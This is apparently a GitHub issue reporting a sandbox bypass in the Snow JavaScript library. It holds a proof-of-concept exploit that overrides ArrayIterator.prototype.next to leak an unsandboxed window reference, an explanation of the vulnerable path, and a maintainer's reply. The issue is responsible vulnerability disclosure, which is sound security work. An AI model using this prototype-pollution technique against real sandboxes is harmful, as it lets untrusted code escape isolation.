Snow can be bypassed with native Prototype Pollution

[terjanq]

PoC:

// get the original ArrayIterator.prototype.next method
var next = [].values().__proto__.next;
// overwrite the method
[].values().__proto__.next = function(){
    var x = next.call(this);
    var win = x?.value;
    // leak the window reference
    if(win?.toString() === '[object Window]'){
       win.location = 'about:blank';
       setTimeout(()=>win.alert(1337), 100);
    }
    return x;
}
open().location;

Vulnerable path:

1. from(arguments) in https://github.com/LavaMoat/snow/blob/1c8faa81291e6f6dffe62b7106eff2492213375d/src/log.js#L16
2. Passing opened window reference to console.error in https://github.com/LavaMoat/snow/blob/1c8faa81291e6f6dffe62b7106eff2492213375d/src/proxy.js#L48-L50

Description

Accessing the arguments variable inside a function scope returns an array-like object which looks like the following:

Arguments(3) [1, 2, 3, callee: ƒ abc(), length: 3, Symbol(Symbol.iterator): ƒ values(), [[Prototype]]: Object

It defines a @@iterator symbol used to generate an ArrayIterator object, which Array.from() calls internally. We can overwrite ArrayIterator.prototype.next to leak the function arguments passed to Array.from, one of which is an unproxied reference to the window that can be used to execute unsandboxed JS.

[naugtur]

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this. The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later.